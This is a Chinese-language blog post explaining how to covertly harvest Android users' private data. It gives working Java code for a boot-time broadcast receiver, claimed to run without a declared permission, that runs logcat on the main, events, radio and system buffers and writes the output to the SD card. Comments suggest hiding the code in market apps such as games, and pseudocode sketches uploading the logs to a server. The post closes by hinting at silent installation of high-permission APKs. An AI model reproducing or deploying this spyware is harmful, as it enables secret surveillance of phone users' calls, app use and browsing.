拋磚引玉 之 誰動了我的隱私(android用戶隱私窺探)
用戶的隱私永遠是第一位的,用戶的隱私也是最值錢的。
最近各大門戶相繼被泄露。。。保管好自己的密碼就行了
這里我就扯一下android下面搞用戶隱私的方法,也算是android的一個疏忽。
但最主要的,還是用戶在安裝apk時對權限警告的無視,就猶如我們所有社區的密碼設為相同一樣。
罪魁禍首就是logcat。以及一個權限檢測的bug.
1、開機啟動
程序如何開機啟動?那就是接受一個關于開機的廣播,具體流程是這樣的,首先在 清單文件 聲明一個權限
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
然后就是寫receiver以及在清單中設置了。
<receiver android:name ="org.igeek.hack.reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >
public class HackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
................
}
}
其實呢,完全可以不必聲明權限,照樣使用。
android的包管理器在檢測到用戶要安裝apk時,只是掃描一下清單中的權限聲明,然后列出權限警告給用戶,上面根本沒有聲明這個權限,所以不會列出來,但不影響使用,這個bug一直堅守到了4.0.
2、窺探隱私
我們要記錄用戶的一切,從開機開始!
安卓的一些調試工具,是默認集成在rom中的,比如logcat,不止是sdk中攜帶,而是每部安卓手機以及平板都有的。
而且,安卓框架會向log緩沖區寫入所有的Log,具體是這幾類:main、events、radio、system。這些Log緩沖區基本上涵蓋了手機運行的方方面面。
進入正題,我們會用到Process類,也就是進程類,dalvik會分裂出一個進程來執行其它本地程序,就像在shell中打入命令,shell分裂一個進程來運行它一樣,我們只需要把shell下的命令寫成字符串,直接扔給process即可。
別忘了再加入這兩個權限
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
1 //簡單的示例,這些代碼可以附加到某個market的應用里,比如游戲等等
2 //其實有些廣告的sdk,需要一大堆權限,好多都需要開機啟動
3 //我想,可能是收集用戶信息來分析用戶的行為,來進行定點投放廣告吧
4 public class HackReceiver extends BroadcastReceiver {
5
6 @Override
7 public void onReceive(Context context, Intent intent) {
8
9 ///main
10 Runnable r1=new Runnable() {
11
12 @Override
13 public void run() {
14 writeLog("org.igeek.hack.main.log", "main");
15 }
16 };
17 ///events
18 Runnable r2=new Runnable() {
19
20 @Override
21 public void run() {
22 writeLog("org.igeek.hack.events.log", "events");
23 }
24 };
25 ///radio
26 Runnable r3=new Runnable() {
27
28 @Override
29 public void run() {
30 writeLog("org.igeek.hack.radio.log", "radio");
31 }
32 };
33 ///system
34 Runnable r4=new Runnable() {
35
36 @Override
37 public void run() {
38 writeLog("org.igeek.hack.system.log", "system");
39 }
40 };
41
42 Thread t1=new Thread(r1);
43 Thread t2=new Thread(r2);
44 Thread t3=new Thread(r3);
45 Thread t4=new Thread(r4);
46
47
48
49 t1.start();
50 t2.start();
51 t3.start();
52 t4.start();
53 }
54
55 //你懂得
56 private void writeLog(String file,String content){
57 try {
58 StringBuilder command = new StringBuilder("logcat" );
59
60 File devFile = new File( Environment.getExternalStorageDirectory(),file );
61 if (devFile.createNewFile()){
62 command.append(" -b " ).append(content);
63
64
65 //命令格式是: logcat -b main
66 //logcat -b radio 等等
67 Process process = Runtime.getRuntime().exec(command.toString());
68
69
70 //這里,將本地程序的標準輸出,也就是std::out轉成java的輸入流
71 InputStream input = process.getInputStream();
72 BufferedReader reader = new BufferedReader( new InputStreamReader(input));
73
74 //再把轉入的輸入流搞成輸出流,這里放到sd卡的目錄里面
75 FileOutputStream output=new FileOutputStream(devFile);
76 BufferedOutputStream bot=new BufferedOutputStream(output);
77
78 Log.e("hack", "記錄LOG -> "+"sd:"+file);
79 String log;
80 while((log = reader.readLine()) != null){
81
82 //其實在輸入流獲取后,可以根據規則摘取想要的信息
83 //沒有必要通吃
84
85
86 //在關機前,這個循環是很難跳出的
87 bot.write(log.getBytes());
88
89
90 //這里呢,可以學學騎驢250,將獲取的數據上傳到服務器
91 /*
92 偽代碼
93
94 在清單中添加個Internet權限,相信用戶也不會多心的
95
96
97 go:連接服務器
98 go:壓縮并上傳數據
99
100
101 */
102 }
103 bot.close();
104 output.close();
105 reader.close();
106 input.close();
107
108 //親手測試一下,你會驚訝的發現,誰給你打電話、你當前運行什么程序、
109 //你看什么不該看的網頁,都一一記錄在案
110
111
112 }
113 } catch (IOException e) {
114 //have a nice day
115 e.printStackTrace();
116 }
117 }
118
119 }
就說這么多,感興趣的可以研究研究market的安裝方法,以及market uri,可以做到0權限靜默安裝高權限apk。
最后,請關注我的 拋磚引玉 系列,會有更多精彩內容
原創,轉載請注明 http://hangxin1940.cnblogs.com
這里僅當拋磚引玉,本人水平有限,難免有些疏漏或者錯誤,還請指正!??!
浙公網安備 33010602011771號